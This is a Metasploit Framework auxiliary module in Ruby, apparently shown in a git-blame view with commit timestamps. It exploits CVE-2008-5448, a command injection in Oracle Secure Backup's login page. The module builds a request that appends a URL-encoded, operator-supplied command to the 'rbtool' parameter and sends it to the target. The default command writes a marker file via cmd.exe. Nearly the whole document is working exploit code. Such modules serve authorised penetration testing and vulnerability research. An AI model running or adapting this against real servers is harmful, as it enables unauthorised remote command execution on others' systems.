2010-05-03 17:13:09 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
2009-02-23 16:26:00 +00:00
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2009-04-13 14:33:26 +00:00
|
|
|
# http://metasploit.com/framework/
|
2009-02-23 16:26:00 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Oracle Secure Backup exec_qr() Command Injection Vulnerability',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a command injection vulnerablility in Oracle Secure Backup version 10.1.0.3 to 10.2.0.2.
|
|
|
|
},
|
|
|
|
'Author' => [ 'MC' ],
|
|
|
|
'License' => MSF_LICENSE,
|
2009-03-28 06:03:35 +00:00
|
|
|
'Version' => '$Revision$',
|
2009-02-23 16:26:00 +00:00
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2008-5448' ],
|
2010-02-17 18:35:01 +00:00
|
|
|
[ 'OSVDB', '51342' ],
|
2009-02-23 16:26:00 +00:00
|
|
|
[ 'URL', 'http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpujan2009.html' ],
|
|
|
|
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-09-003' ],
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Jan 14 2009'))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(443),
|
|
|
|
OptString.new('CMD', [ false, "The command to execute.", "cmd.exe /c echo metasploit > %SYSTEMDRIVE%\\metasploit.txt" ]),
|
|
|
|
OptBool.new('SSL', [true, 'Use SSL', true]),
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
|
|
|
|
|
|
|
r = Rex::Text.rand_text_english(2)
|
|
|
|
|
|
|
|
cmd = datastore['CMD']
|
|
|
|
|
|
|
|
uri = "/login.php?clear=no&ora_osb_lcookie=&ora_osb_bgcookie=#{r}&button=Logout&rbtool="
|
2010-05-03 17:13:09 +00:00
|
|
|
|
2009-02-23 16:26:00 +00:00
|
|
|
req = uri + Rex::Text.uri_encode(cmd)
|
2010-05-03 17:13:09 +00:00
|
|
|
|
2009-02-23 16:26:00 +00:00
|
|
|
print_status("Sending command: #{datastore['CMD']}...")
|
|
|
|
|
|
|
|
res = send_request_raw({'uri' => req,},5)
|
2010-05-03 17:13:09 +00:00
|
|
|
|
2009-02-23 16:26:00 +00:00
|
|
|
print_status("Done.")
|
2010-05-03 17:13:09 +00:00
|
|
|
|
2009-02-23 16:26:00 +00:00
|
|
|
end
|
|
|
|
end
|